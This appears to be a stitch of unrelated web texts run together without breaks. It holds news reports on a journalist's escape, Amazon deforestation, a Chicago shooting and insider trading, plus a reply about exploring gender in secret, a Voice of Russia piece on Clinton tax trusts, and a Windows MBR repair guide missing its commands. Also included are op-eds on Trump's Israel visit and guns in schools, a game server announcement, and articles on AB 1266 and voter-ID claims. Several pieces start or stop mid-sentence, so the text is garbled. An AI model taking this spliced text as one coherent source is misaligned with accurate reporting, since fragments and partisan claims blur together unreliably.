The three men eventually escaped to Turkey, where Loyd was taken to hospital. Loyd has won several awards for his reports on the conflict in Syria, and won the Foreign Reporter of the Year award from the Society of Editors earlier this year. One source told the Times that the kidnappers "had dollar signs in their eyes" when they realised they had captured Western journalists.Hi so I am pretty sure I'm gender fluid bc all the signs point to it but my family is really religious and uncomfortable with lgbt things (my parents aren't homophobic/transphobic but were just really confused about and uncomfortable with any lgbt stuff when I came out to them as bi) so I was wondering if you have any tips on how to experiment with gender in a secretive way before I move out? My mom is already suspicious cause 90% of my clothes are more masc but I still wanna keep it a secret...
Sorry to hear you’ve gotta experiment with this stuff in secret:( what I used to do was bind when I was home alone, take my binder to school w me and just wear simple thing like jeans and t shirt. I also cosplayed a lot when I first stared experimenting w my gender, it was easy to dismiss cutting my hair, dressing as male characters, even buying a binder, by telling my parents it was for cons and cosplays I was working on. At home I was, and am, very in the closet with my gender, but i came out at school and that helped a lot, my friends were very supportive, I started going by my pronouns, so I’d say if school and you’re friends are an option for you that’s a really good option. I hope that helps at all! And I’m always here if you just wanna talk abt it or anything really. Good luck❤️The Clintons used loopholes as way of avoiding taxes and thus acquiring more wealth. “The estate tax has been historically part of our very fundamental belief that we should have a meritocracy,” Hillary Clinton said back in December 2007 trying to side with ordinary Americans, while last week she told ABC that she and Bill were “dead broke” and in debt after they retired in 2000.
However, these nice words seem to be pure rhetoric as, according to Bloomberg News, the Clintons have been using a legal but dodgy tax loophole that often helps multimillionaires to avoid paying their estate tax, a levy paid by a person who inherits money or property.
The scheme helped the couple to amass quite a fortune, hiding their wealth from the federal government’s tax collectors at the IRS. The scheme was a financial planning strategy to shift ownership of their houses to a private trust, and then to their daughter Chelsea, the Daily Mail writes. According to federal financial disclosures and local property records, the Clintons created residence trusts in 2010 and shifted ownership of their Westchester house in New York into them in 2011.
The moves ensure that any growth in the house’s value will occur outside their estate and that they can claim a discounted value for the home, which could save the Clintons hundreds of thousands in estate tax avoidance, Bloomberg explains. At the end of 2012, the Clintons were worth from $5.2 million to $25.5 million, according to financial disclosures that Hillary Clinton filed in 2013 as she was leaving her position as secretary of state.
The revelation could be quite a blow to Hillary’s 2016 presidential bid as Bill and Hillary Clinton have long supported an estate tax to prevent the US from being dominated by inherited wealth. Federal estate taxes currently apply only to amounts over $5.34 million. Mrs. Clinton proposed lowering that cap to $3.5 million. She also argued that the top tax rate, paid only by the super-wealthy, should increase from 40 to 45 percent.
The news also comes amid Clinton’s promo tour of her new book Hard Choices. “Voters may have a problem with a potential presidential candidate who spends a lot of time talking about the problems of the middle class while hobnobbing with the ‘rich and privileged'” experts say.
The Republican Party is already running a 30-second ad Tuesday on CNN during a broadcast town hall with Hillary Clinton. The ad puts her wealth into focus.
Source: Voice of RussiaMartin O'Neill has launched a stinging attack on Paolo Di Canio, the man who succeeded him at Sunderland, branding the Italian a "managerial charlatan".
Di Canio was appointed after O'Neill's sacking in March but lasted only 11 games before suffering the same fate. Di Canio was critical of O'Neill's tenure and, specifically, the fitness level of the players he inherited from the Northern Irishman.
O'Neill has now taken charge of the Republic of Ireland in a controversial partnership with Roy Keane. When asked if he was disappointed by comments made about his Sunderland regime by Di Canio, O'Neill replied: "Paolo Di Canio? That managerial charlatan – absolutely, yes.
"Paolo stepped in there and basically, as weeks ran on, he ran out of excuses. I had a wry smile to myself."
O'Neill clearly took particular exception to allegations that his players were not fit. The 61-year-old said: "It's like a 27-year-old manager stepping in and the first thing you do is criticise the fitness of the team beforehand. If you've ever seen Aston Villa play, you'll see the one thing I pride myself on is teams being fit.
"What you'll find interesting is that when he started the team wasn't fit for the Chelsea game. Then the following week when he won at Newcastle, not being fit wasn't mentioned.
"Then about two weeks later they got mauled by Aston Villa, someone asked him about the fitness. Suddenly, he didn't know where to go. Because the team, as it progresses, should be getting more fit.
"And then, at the start of the season, when he lost by a late goal at Southampton, he was asked about the fitness regime, that he was going to have them the fittest team in the league. Suddenly, the fitness wasn't for that game but for Christmas, when the winter months set in. You know, I did have a wry smile at that one."
O'Neill garnered similar amusement from Di Canio's decision to ban various foodstuffs. When in charge of Sunderland, Di Canio explained: "We need to have lectures about why we can't have every day things like mayonnaise, ketchup and Coke."
Speaking after he was officially introduced as Ireland's manager on Saturday afternoon, O'Neill said: "I'm hoping at some stage or another [Sunderland's captain] John O'Shea asks me at dinner table to pass him the tomato sauce and I will dispose of it immediately. But then if I feel you can't win games without tomato sauce I will empty it on his plate, with the chips.
"John Robertson [O'Neill's former assistant] once said that if every team in Italy has pre-match pasta for their meals, how come three get relegated each year? It's an interesting point. Ability might come into it. I'd have loved the opportunity to sign 15 players like Paolo did. I never got that opportunity.
"I was very disappointed at the outcome. I think I would have garnered the five points necessary to have stayed up and [had] the chance maybe to have changed the side."
The phone of Di Canio's agent Phil Spencer was ringing out yesterday.This article is over 4 years old
Ezequiel Antônio Castanha accused of operating network that illegally seized federal lands and is blamed for 20% of Amazon deforestation in recent years
Brazil has detained a land-grabber thought to be the Amazon’s single biggest deforester, the country’s environmental protection agency said.
The Brazilian Institute of Environment and Renewable Natural Resources said Ezequiel Antônio Castanha, who was detained on Saturday in the state of Pará, operated a network that illegally seized federal lands, clear-cut them and sold them to cattle grazers.
The agency blames the network for 20% of the deforestation in Brazil’s Amazon in recent years, though the statement issued on Monday did not provide the estimated scale of the devastation.
It quoted the agency’s head of environmental protection, Luciano Evaristo, as saying he hopes Castanha’s arrest will “contribute significantly to controlling deforestation in the region”.
Castanha will face charges including illegal deforestation and money laundering, and could be sentenced to up to 46 years in prison, the statement said.
Officials said late last year that 1,870 square miles (4,848 sq km) of rain forest were destroyed between August 2013 and July 2014. That’s a bit larger than the US state of Rhode Island.
In addition to being home to around one-third of the planet’s biodiversity, the Amazon is considered one of the world’s most important natural defenses against global warming because of its capacity to absorb huge amounts of carbon dioxide. Rain forest clearing is responsible for about 75% of Brazil’s emissions as vegetation is burned and felled trees rot.
The Amazon extends over 3.8m square miles (6.1m sq km), with more than 60% of the forest within Brazil.This article is over 1 year old
William ‘Willie’ Cooper, 58, was shot on Saturday afternoon on Chicago’s South Side; investigators are still determining if the attack was random or targeted
Chicago anti-violence activist shot dead just steps away from his office
A Chicago community activist who worked to fight violence was shot dead less than a block from the offices of his not-for-profit organization, according to police and the man’s relatives.
'It won't stop the murders': why Chicago's activists oppose Trump's 'gun strike force' Read more
William “Willie” Cooper, 58, was shot on Saturday afternoon near the offices of Lilydale Outreach Workers for a Better Community, on Chicago’s South Side. Cooper was the principal officer of the anti-violence group, which provides jobs for local teenagers.
Police said Cooper was walking when someone shot him from a dark-colored vehicle driving by. Cooper suffered wounds to his torso and mouth. About 20 shell casings were scattered near his body, according to his wife, Sherry Clark, with whom he had three children.
“People are so cold-hearted,” Cooper’s niece, Patricia Carter, told WLS-TV. “How could you take somebody’s life? He helped everybody. I just don’t understand.”
No one was in custody as of Sunday afternoon and investigators had yet to identify any persons of interest, Chicago police spokesman Anthony Guglielmi said.
Detectives were trying to determine whether Cooper was targeted or the victim of a random shooting, he added.
Chicago gun violence taskforce: whose idea was it – and will it work? Read more
“It’s too early to say at this point,” Guglielmi said, noting that investigators were trying to track down any surveillance video that may have captured the shooting.
Relatives arriving at scene of the shooting were in tears. They gathered with other family members in front of the offices where Cooper worked.
“He did a lot for the community,” his wife told the Chicago Tribune.
The newspaper reported that the incident was one of at least three fatal shootings over 18 hours between Saturday and Sunday in Chicago. The high rate of gun violence in the city has prompted national debate, with President Trump heralding the arrival of a taskforce of 20 federal agents aiming to tackle the problem.Click to enlarge, and debate the strip below the line.
John Holder's verdict
1) Of course. Once the toss for innings has been completed, the ground becomes your responsibility, and you alone determine who enters the field of play. The idea of batsmen being driven on makes a mockery of the game, and there's also the chance of damage to the square and outfield. Sponsorship is vital for clubs' survival at every level, but gimmicks which tarnish the image of the game cannot be permitted. Thanks to Vinai Solanki.
2) I would award six runs for the stroke rather than five penalty runs for illegal fielding. Umpires are the sole judges of fair and unfair play, and this is a clear case of unfair play. It's the same sort of unfairness that was punished when Pakistan's captain Moin Khan adopted deliberate time-wasting in a Test against England in 2000 when the light was fading. Moin's actions were so blatant that the umpires refused to go off for bad light, and England went on to win. Alex Goddard wins the shirt.
3) The captain has no authority to ask for the call of no-ball to be reviewed, either under the Laws of Cricket or DRS. Once the call of no-ball has been made, the striker cannot be dismissed bowled, caught, lbw, hit wicket, etc. Thanks to Neil Butler.
Competition: win a T-shirt of your choice
For a chance to win a sporting T-shirt of your choice from the Guardian range send us your questions for You are the Umpire to [email protected]. The best scenario used in each new strip wins a T-shirt; Terms apply. For more on You are the Ref's history, click here.Everyone, the time has come to start appreciating Canada. They are the only ones with a legit plan for when the zombies invade.
Leave it to the Great White North to add the zombie apocalypse to their House of Commons docket. Winnipeg Member of Parliament Pat Martin introduced the issue, probing Foreign Affairs Minister John Baird about the ongoing preparations, reminding him that "zombies don't recognize borders" and an invasion in the U.S. could lead to a "continent-wide pandemic."
SEE ALSO: Hackers Issue Zombie Apocalypse Alert on TV
We will all soon be regretting the hockey and beaver jokes when |
Prompt”.
Since we need the command prompt to work with, select the option “Command Prompt.”
Note: if you are using Windows 8 or 8.1, then press the F8 or Shift + F8 keys on your keyboard while booting, select the option “Troubleshoot -> Advanced Settings” and then again select Command Prompt from the list of the options to open the Command Prompt window.
Fix the MBR
Once you are in the command prompt, we can start fixing the boot record error using the bootrec command. Most of the time boot record problems are a direct result of a damaged or corrupted Master Boot Record. In those scenarios simply use the below command to quickly fix the Master Boot Record.
Once you execute the command, you will receive a confirmation message letting you know, and you can continue to log in to your Windows machine.
If you think your boot sector has been either damaged or replaced by the other boot loaders, then use the below command to erase the existing one and create a new boot sector.
Besides corrupted boot records, boot record errors may also occur when the “Boot Configuration Data” has been damaged or corrupted. In those cases you need to use the following command to rebuild the Boot Configuration Data. If the BCD is actually corrupted or damaged, Windows will display the identified Windows installations to rebuild the entire BCD.
If you have installed multiple operating systems on your Windows machine, then you might want to use the “ScanOS” argument. This parameter commands Windows to scan and add all the missing operating systems to the Boot Configuration Data. This enables the user to choose an operating system while booting.
Conclusion
Yes, it’s that simple to fix the MBR in Windows 10. Do comment below if you face any problems while using the above commands to fix the boot record errors or to simply share your thoughts and experiences regarding boot record errors in Windows.Israel welcomed U.S. President Donald Trump on Monday with a provincially embarrassing display of provinciality. By the end of the reception at Ben-Gurion International Airport, even the U.S. president – a coarse, vulgar man with no sense of ceremony – looked statesmanlike, if not downright regal. He was surely in mild shock at what he had been through.
>> Get all updates on Trump's visit to Israel and the Palestinian Authority: Download our free App, and Subscribe >>
To say that what happened on the tarmac below Air Force One resembled a neighborhood event would be an understatement. It wasn’t a neighborhood event but a bazaar.
skip - Sara Netanyahu with the Trumps
It began with the whiny monologue delivered by the prime minister’s wife, Sara Netanyahu, to the presidential couple. Like the Trumps, she declared, the Netanyahus are disliked by the media but loved by the people. Then she said she and “Donald” had a special connection due to that same media. But we’ll talk all about that at dinner, she assured Melania Trump, who stood there frozen, not a muscle in her face moving.
>> Melania's slap down and 6 other awkward moments of Trump visit in Israel >>
Finally, Sara sent them off with the words, “Have a great time at the Kotel!” A great time? At the Western Wall? It’s a good thing she didn’t recommend that they go to the “Discotel,” as philosopher Yeshayahu Leibowitz famously termed what he described as “the worship of stones.”
U.S. President Donald Trump being given the red carpet treatment by Prime Minister Benjamin Netanyahu and his wife Sara at Ben-Gurion Airport, May 22, 2017. JACK GUEZ/AFP
After that, Trump had to run the gauntlet of an endless reception line, which entailed shaking hands with everyone on the “A-list.” Until about an hour before he landed, the president was still refusing to participate in this part of the ceremony. U.S. embassy staffers had apparently forewarned him about what it would entail. But now he bears the scars on his own body.
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First came his encounter with Education Minister Naftali Bennett, who demanded that he recognize Jerusalem – which is celebrating the 50th anniversary of its liberation this week in the Hebrew calendar. It continued with the dose of fake news he got from Public Security Minister Gilad Erdan. Long after police had officially announced that Monday’s incident in Tel Aviv was a traffic accident, not a terror attack, Erdan told the president the question was still being investigated. Comparisons to the nonexistent car-ramming attack in Umm al-Hiran in January are unnecessary; this has become the norm for Erdan. He’s the man who always leaps to conclusions.
But like a well-constructed episode of the reality TV show he starred in, the best still awaited Trump. Minister Ayoub Kara – “the first Druze cabinet minister,” as he was introduced by Prime Minister Benjamin Netanyahu – practically fell on his neck with emotion. “I love you!” he said, seizing the guest’s hand and engulfing it in his own. Kara then told the president it was important for him to support the prime minister and move things in a new direction with the Saudis.
MK Oren Hazan took a selfie with Trump Youtube
Trump hadn’t yet recovered when he encountered MK Oren Hazan (Likud), the acting coalition chairman. Had any of the ceremony’s organizers been asked to name the worst thing that could happen (aside from an assassination or something like that), he certainly would have said: For Trump to bump into Oren Hazan.
skip - MK Oren Hazan's selfie with President Trump
Nightmares usually don’t come true; they remain in the depths of the subconscious. But when it comes to Hazan, the sub(-standard) turns into a selfie and a global incident. The number-one bad boy in the Knesset’s history somehow managed to infiltrate into the line of dignitaries (though that term may be stretching it) and force himself on the leader of the free world. Netanyahu tried to push him away, but to no avail. Nobody would have blamed the premier had he simply slapped Hazan in the face.
The presidential couple ended the first day of their visit with a dinner in the prime minister's home. Everything they experienced on the hot tarmac at Ben-Gurion International Airport was dwarfed by the bizarre reception that awaited them at the entrance to the spacious and elegant two-story home on Jerusalem's Balfour Street.
Sara Netanyahu greeted them with a plethora of apologies for the "modest home," as if she were ashamed at the cruel fate visited on her by not allowing her to live in the White House or at Mar-a-Lago. Her husband took her cue and ran with it: "Thanks to you we could paint the walls." So much lack of self-awareness by two people who are detached from reality, in one brief video.
The prime minister said on Monday that for the first time in his life he sees "a real hope for change." What change did Netanyahu mean? A change in his positions, in his conditions, in his refusal to remove settlements in the framework of a permanent arrangement with the Palestinians, or is it a change that he is expecting from the Palestinian side?
If his remark made your heart skip a bit, calm down. It was meant only to shake up the president and present him as someone capable of carrying out dramas that his predecessors — Barack Obama, George W. Bush, Bill Clinton and George H.W. Bush — weren't skilled enough to pull off.
He’s supposed to give his main speech at the Israel Museum in Jerusalem on Tuesday, and prior to that he’ll meet with Palestinian Authority President Mahmoud Abbas in Bethlehem.
Israel’s political system is on tenterhooks. The governing coalition fears an unpleasant surprise: a return to the two-state vision, a declaration that the only solution is a Palestinian state alongside Israel, or a comment about the need to rein in settlement construction. That’s exactly what the opposition is hoping for — a speech that will jump-start the peace process and renew Israeli-Palestinian negotiations.
When he leaves the country on Tuesday, how ironic and “unpredictable” — as Trump is often called — it would be if he were to do so accompanied by the right’s curses and the left’s praises.In Hartford Connecticut, a child protests gun violence
Photo by Spencer Platt/Getty Images
Last week, the NRA released its National School Shield Task Force Proposal. At the heart of this proposal is the recommendation that schools be staffed with armed school resource officers (SROs). The NRA’s recommendation was preceded on March 8, 2013 by a South Dakota law that will allow trained teachers to carry weapons at schools.
As a child psychologist, I find myself thinking, do these people know children?
Guns in schools are a bad idea for kids. I offer three reasons why.
I. Kids get their hands on most everything.
Ask your mother. Better yet, recall how you knew where she hid the Christmas presents. Or where your father kept his gun, if he had one. My mother hid the presents in a nook at the top of the attic stairs. My father kept his unloaded shotgun in the right corner at the back of his clothes closet. The ammunition was in an orange box on a shelf in the same closet.
In an under-publicized study that appeared in the journal Pediatrics in 2001, Geoffrey Jackman and a group of his associates asked twenty-nine groups of two to three boys, most of whom were around ten-years-old, to wait for fifteen minutes in a room with a one-way mirror. Two water pistols and an actual.380 caliber handgun were partially concealed in various locations in the room. The handgun was rigged to make the sound of discharge when the trigger was pulled with sufficient force.
Forty-eight out the sixty-four boys found the handgun. Thirty boys handled the gun. Sixteen boys pulled the trigger. Approximately half of the boys who found the gun thought it was a toy, or were unsure if it was real. 90% of the boys who handled the gun or pulled the trigger had previously received some sort of gun safety education.
Kids get their hands on guns, and they know how to use them. The most up-to-date FBI homicide data indicate that of the 1,448 children who died as a result of gun violence in 2010, 165 of those deaths were at the hands of other children.
Yes, the NRA proposals and the South Dakota law place guns in the hands of trained adults. But the rules that train and prescribe who holds guns at school will lapse as rules do. A gun will find its way into a teacher’s desk, briefcase, or purse. And a child will get his hand on it.
II. Kids will be afraid.
And they should be. When violent force is upheld as safety, fear and silence creep in. I have a patient who recalls his silent car rides with his father who kept two guns under the driver’s seat. Silently the boy watched, on guard, even though nothing ever happened. But then again nothing was ever said, and arguably something did happen. There was no way to talk about fear. There was no way to talk about inter-dependence and vulnerability.
So, too, in schools, the presence of guns has the capacity to silence the voice of civics, the voice that helps children learn about what it means to live with one another and to live with feelings and thoughts that buzz along and bump up against others who are different or hard to know. The presence of guns will silence necessary talk of violence, the ups and downs of childhood rivalries, spats and bullying.
III. And this talk is necessary.
Many kids, especially boys, learn to handle their problems with their hands, not their minds. Hence, the elementary school mantra, “Use your words.” Still, children generally make good use of good counsel. The NRA recommends that SROs be employed not only to serve as guards and law enforcers, but also to serve as educators and informal counselors within the school. Educators and counselors who are armed leaves us to question not only the adequacy of their training, but also what it means that they counsel from a position of imminent force.
Engaging children in meaningful dialogue on their level is hard work that requires translation, time, patience, and trust. How exactly is a kid supposed to understand that a relative stranger with a gun will offer trustworthy counsel?
Children do not live with the same mental boundaries that we as adults live with. That is why they need us to insure their safety through the work of our minds, not the formative force of a gun. What message does it send if we suggest through armed school personnel that our minds are not enough?The new Reebok deal with the UFC keeps on dissatisfying fighters all over the roster. Complaints about losing money with the new payment method still is the main reason for such disagreement and for welterweight Erick Silva, the impact was hard.
According to Silva, he will lose about 40,000 Reais per month because of the new arrangement, which converts roughly to 12,000 Dollars, as he revealed to Globo Esporte.
"The UFC changed the way they will pay their fighters with this new Reebok deal, so my manager and I sat down to do the math and it turns out we will lose a lot of money. We will lose 40,000 Reais every month. This is too harsh for those of us with a lot of sponsors, because it will restrict sponsors a lot, and they don't want to pay an amount they wouldn't pay if they weren't going to be exposed on fight night, which is when they get the most exposure."
As rough as the turn of events might be for Silva, he remains optimistic about his future. His upcoming fight against Rick Story is the last one on his contract, so he wishes to squeeze out a better deal from Joe Silva when the time comes to sign a new one.
"My manager and I have been talking to Joe Silva in order to find a way to recover this money. Since it's the last fight on my contract, I want do really well, so that I can recover that money we lost in a different way. We have this plan, and the talks are going well. It's hard, but we keep on trying."
Silva is scheduled to face Story in the co-main event of the The Ultimate Fighter Brazil 4 Finale, in Hollywood, Florida, on June 27. The event will be headlined by middleweights Lyoto Machida and Yoel Romero.* Feds probe whether Murray traded on secret merger news
* CEO of target, Advanced Medical Optics, also scrutinized
* Multiple leaks, including from law firm, bank, are possible
By Emily Flitter
NEW YORK, June 20 (Reuters) - Hall of Fame baseball player Eddie Murray is one of several former professional athletes under investigation by federal authorities in a U.S. insider trading case stemming from the buyout of a medical device company, people familiar with the three-year-old probe said.
Federal prosecutors and securities regulators are trying to determine whether Murray, a star slugger for the Baltimore Orioles, traded on inside information that Abbott Laboratories was about to announce a deal in January 2009 to acquire Advanced Medical Optics for $2.8 billion, the sources said.
Reuters previously reported on the investigation by federal prosecutors in Los Angeles and the U.S. Securities and Exchange Commission, but did not identify any of the players under scrutiny.
Murray, who has not been charged with any wrongdoing, could not be reached for comment. Michael Proctor, a lawyer who is representing Murray in the matter, did not immediately respond to a request for comment.
Diane Hock, a lawyer who represents Murray in his post-baseball marketing deals, said she had heard about an investigation, but declined to comment further.
The investigation involving Murray is related to the probe that led to the filing of a civil insider trading case against former Orioles player Doug DeCinces. In August 2011, DeCinces settled with the SEC, agreeing to pay $2.5 million in fines, while neither admitting nor denying wrongdoing in the trading of Advanced Medical Optics shares.
DeCinces and Murray played together on the Orioles from 1977 to 1982.
DeCinces’ lawyer did not respond to calls seeking comment.
Securities regulators always take note of trading activity in shares of companies involved in mergers and try to identify buyers or sellers in the stock who may have acted based on nonpublic information. Reuters could not ascertain how many, if any, shares of Advanced Medical Optics Murray bought.
The probe into the possible insider trading by professional baseball players is a California offshoot of the sprawling investigation in New York that led to the conviction of Galleon Management hedge fund founder Raj Rajaratnam and charges against dozens of traders and corporate consultants. Some legal experts say the California phase of the investigation is an indication of just how commonplace the sharing of corporate secrets has become.
Investigators have found that leaks about the Advanced Medical Optics deal may have come from a number of places, including people who worked for the medical device company; its law firm, Skadden Arps; and its merger adviser, Goldman Sachs Group Inc, according to court records and people familiar with that matter.
Goldman spokesman Michael DuVally said: “We have been aware of these allegations for more than two years, investigated them (and) fully cooperated with federal authorities in the matter.”
A spokeswoman for Skadden declined to comment. A top partner at the firm is also representing one of the suspected leakers, James V. Mazzo, who was the chief executive officer of Advanced Medical at the time of the takeover.
PLAY BALL
Mazzo, now a senior vice president at Abbott’s subsidiary, Abbott Medical Optics, has not been charged with any wrongdoing. He did not respond to email or phone calls seeking comment. His lawyer, Richard Marmaro, a partner at Skadden Arps in Los Angeles, declined to comment. An Abbott spokesman said the company was not under investigation and declined to comment about Mazzo.
Mazzo, 55, graduated from California State University, Long Beach, with a degree in zoology, and lives in Laguna Beach, a coastal town south of Los Angeles. He is known for his philanthropy and volunteerism. In 2009, for a charitable auction, he donated tickets worth $3,000 for a group of seats in an Anaheim Angels dugout suite, according to a program for the event.
“My first love is baseball,” Mazzo told a medical trade publication in a 2011 interview. “I am a die-hard (Chicago) Cubs fan, and I played minor league baseball before my days as a sales representative.”
Mazzo is a trustee of the University of California, Irvine Foundation and sits on the Dean’s Advisory Board of its Paul Merage School of Business. He is also on the board of OCTANe, an organization that tries to connect local engineers and technology startups in Orange County with investors and potential workers.
The SEC’s complaint against DeCinces, filed last August, claimed the former third baseman had gotten information about the impending takeover from a source who was “directly involved in the impending (Advanced Medical Optics)/Abbott transaction from its inception in October 2008.”
DeCinces bought shares of Advanced Medical Optics on Dec. 1, 2008, the same day Abbott sent the company a preliminary takeover proposal.
HOME RUN
After more than 10 years with the Orioles, Murray, a first baseman, headed west to California, where he spent three seasons playing for the Los Angeles Dodgers. Next, he went to the New York Mets, then to the Cleveland Indians and briefly to the Angels, which were renamed the Anaheim Angels the year Murray played for them and are now called the Los Angeles Angels of Anaheim.
Murray, who hit 504 home runs in his career, is widely regarded as one of the best switch hitters, who can hit from either side of the plate.
After he retired, Murray was the first base coach for the Dodgers. He was elected to the Hall of Fame in 2003.
The baseball players are not the only group under scrutiny for allegedly trafficking in nonpublic information about the Advanced Medical Optics buyout, according to sources familiar with the investigation and court filings. There appear to have been leaks at many points along the way to the takeover, according to the sources and the court papers.
Goldman Sachs provided investment banking services in the buyout of the medical device company. Reuters has reported that the SEC and federal investigators are looking at whether Goldman’s senior healthcare banker, Matthew Korenberg, passed on information about the deal to his friend Paul Yook, a healthcare analyst at Galleon Management.
Korenberg’s lawyer, John Hueston, a partner at Irell & Manella, did not respond to a request for comment. He has previously told Reuters the investigation was “going nowhere.”
DuVally, the Goldman spokesman, said: “Matt Korenberg remains actively employed by the firm.”
Yook could not be reached for comment.
In June 2011, Dean Goetz, a lawyer in Carlsbad, California, agreed to pay about $23,000 to settle SEC charges that he traded on secret information after learning about the Advanced Medical Optics deal by going through his daughter Amy’s papers without her knowledge, according the SEC’s complaint.
Amy Goetz, also a lawyer, worked on the deal as an associate at Skadden. She is no longer with the big law firm and could not be reached for comment. John Kirby, a lawyer for Dean Goetz, did not respond to a request for comment.Rogean ¯\_(ツ)_/¯
Join Date: Oct 2009 Location: Massachusetts Posts: 5,093
6th Year Anniversary Hey Everyone,
We're coming up on Project 1999's 6th year anniversary. To celebrate, we will be enabling double experience starting on the evening of Friday, October 2nd, and lasting until some time the morning of Monday, October 5th.
Also coming some time in October, we are releasing a new temporary server. Project 1999: Discord will be a new classic PvP server with permanent death. It will be FFA without a level range limit. Item loot will be present. Other specifics regarding the rule set of the server are still being decided, but there will be almost no rules with minimal CSR involvement. This server is intended to only last for a month or two, after which point all characters will be deleted, and the highest level characters will earn a spot on a new Hall of Fame section of the website. We will then evaluate options of closing or restarting the server, possibly with different rules, mechanics, and/or rewards.
We are also overdue to enable the January 2001 era on all servers. This will include changes to root/snare stacking, removal of the Class XP penalties + group shared XP modifications, and more. We are able to enable these eras while the server is running, but we identified some issues that will require a patch before we turn it on. This will be happening this week or weekend.
Thanks!
Rog
Sean "Rogean" Norton
Project 1999 Co-Manager
Project 1999 Setup Guide __________________Transgender youth won a major victory in the state legislature in August, a victory that could be short lived.
Assembly Bill 1266, The School Success and Opportunity Act, allows students in grades K-12 who identify with a gender different than what's on their school records to participate in sex-segregated public school programs and activities, including athletic teams and competitions, and even use those facilities.
This law would have allowed someone like me, a female, to have wrestled in her New Hampshire high school team. It also would have allowed my brother, a transman—that is, his birth certificate describes him as female because of his anatomical parts—to have used the boys bathroom at his high school. (Fortunately that wasn't an issue since he went to an "all-girls" high school. But that's another policy debate.)
My 29-year-old brother Skyler Cruz has been on testosterone for close to two years and recently underwent "top surgery," a bilateral mastectomy. He has facial and chest hair, and he uses the mens' bathroom.
When he "came out" in high school he told me that he liked girls, but he also said that he didn't want to be called a Lesbian. I understand the reasons now.
My brother—who at the time identified as a woman because he didn't have the terms, confidence or perhaps support—dressed like a "boy" with baggy jeans, plaid shirts and matching baseball caps. It must have been awkward for him to use the "girls" bathroom and it may have been just as awkward to the females in the bathrooms who didn't realize that biologically he was still like them.
"Everyone is freaking out about AB 1266," said Anthony Ross, director of The Outlet program, a resource program for LGBTQ youth in the South Bay and Peninsula. Outlet is part of the Community Health Awareness Council in Mountain View. "So much ignorance and misinformation about this, because people have no understanding of what being transgender is about."
And like other Lesbian Gay Transgender Bisexual and Questioning (LGBTQ) policy issues, AB 1266 already has its opponents. Privacy For All Students coalition, launched a campaign to get a referendum on a 2014 ballot to overturn the law, which passed by significant majorities in both the Senate and Assembly, before Governor Jerry Brown signed it into law on Aug. 12, 2013.
Recently on a Mountain View Nextdoor.com forum, a father from the Los Altos Eastenders neighborhood posted about his fears.
"It sounds scary to me. I have two daughters. I cannot imagine when she is in her school's bathroom, a boy comes in by declaring'my own sex is a girl,'" the father said. His identity and that of others will be protected. "No matter what the intention is, if this law is true, it is just ridiculous. Let's help repeal this law by signing a voter's petition to put this law to vote in 2014."
A resident of the Mountain View neighborhood Sylvan Park called the father's fears "unfounded" and his perspective an "urban legend."
"The odds of a child arbitrarily declaring him or herself the opposite gender just to get into a locker room or bathroom has got to be infinitesimally low," she said. "Transgender bias is even worse than gay bias in this country. We have enough overblown fear tactics keeping our children from walking to school, using a public bathroom, or walking to a neighborhood park by themselves."
"Let's be tolerant of these kids, not make assumptions based on falsehoods or LGBT-phobias," she continued.
An article on the Privacy for all Students raises this very issue, that for the most part, kids in K-8 don't identify as transgender. And let's be frank (or Frances, if you prefer), many high school students, generally, avoid undressing or showering in locker rooms. Who has positive body image at that age? The article looked at how a Central Valley community is up in arms about the law.
Mountain View-Los Altos Union High School District Superintendent Barry Groves told the San Jose Mercury News that currently trans students use staff bathrooms, but the district "will come up with a policy that respects the needs of its diverse population."
Back in the Nextdoor forum, a neighbor of the Eastenders father, replied to some of the comments about sharing restrooms with transgendered Googlers.
"On my first day at Google, there was a transgendered engineer in my new hire orientation. I couldn't help but stare, as he looked like a dude in a dress to me. When he followed me into the bathroom, it shocked me, as it never occurred to me that'she' might consider herself female," the Googler said. "Over time, I got used to the transgenders at Google; there are actually quite a few. And they are very accepted, mostly because Google has an explicit LBGT inclusion policy."
She went even further to address the fears.
"And I can't imagine why a transgender would commit a sex crime against someone of the opposite sex—it makes no sense to me," she said.
Outlet's Director Ross, a transman himself, recognized the challenges that the misconceptions create in communities.
"This ignorance is layered and problematic in so many ways—destructive to all children," he said. "Everyone is so offended by 'boys' in girls bathrooms, which is not the point of this Act in the first place, but no one has commented or been outraged about 'girls' in boys' rooms. I'm of course not advocating for this argument or any of it's kind, but this wreaks of the misogynistic society we live in, and it's incredibly discouraging to me that in 2013, in the Bay Area, people are still not able to hold compassion and respect for diversity," Ross said.
"Frustrates me to no end."
Daily my brother astonishes me by his level of self-awareness. His decision to become who he feels he is, fills me with pride and admiration.
But I worry about him and other transgender people because of fears that cause communities to become more restrictive instead of more understanding and problem-solving.
As an ally, I'm frustrated too.Charges, without evidence, '112% turnout' in some precincts...
Brad Friedman Byon 3/19/2012, 7:36pm PT
Fresh off of telling women they should just "close your eyes" when they are forced by the state to have the government come between them and their doctor for a mandated ultrasound before being allowed to terminate a pregnancy, Pennsylvania's Republican Gov. Tom Corbett is now just making stuff up concerning "voter fraud" in his state.
Comments highlighted by Steve Benen at Maddow Blog today suggest the Governor is willing to say just about anything to justify the disenfranchising polling place Photo ID restrictions just passed and signed into law by Republicans in the Keystone State...
When some of the precincts come in with a 112 percent reporting you have to scratch your head and say how does that happen?" questioned Governor Corbett. Asked to explain the need for such a measure, Corbett offered a curious explanation (thanks to reader K.M. for the tip): At a certain level, that may seem persuasive. If there were precincts in the Keystone State that had 112% participation, then Republicans would have a pretty strong case for new measures intended to crack down on abuses. But here's the trouble: there are no examples of Pennsylvania precincts, at [any] time or in [any] election, coming in with 112% participation. Corbett appears to have simply made this up.
We thought we'd double check on that with Marybeth Kuznick, founder of VotePA, the non-partisan election integrity watchdog organization which has been fighting to improve the state's electoral system --- and help stop election fraud --- for years now.
She concurs that Corbett's statement is, as she described it to us, simply "ludicrous"...
When we asked her where the Governor might have come up with the evidence to make such a claim, she jogged her memory to come up with something.
"The only possibility where that might have come from, I recall in the back of my mind, there were incidents when there were votes in the electronic voting machines already on the morning of elections, back when we used to use the [e-voting systems made] by Danaher."
"It wasn't intentional fraud," she explained, "it was when they went in to open the polls in the morning, did the 'zero tests' and found there were like 40 votes still on the machine from a previous election or something. And so those were cleared out."
"That has happened on other machines as well, not just Danaher's, such as the ES&S iVotronics many counties use now."
She says that "definitely happened in Venango County in 2011. That was one of the things that caused so much alarm there last year."
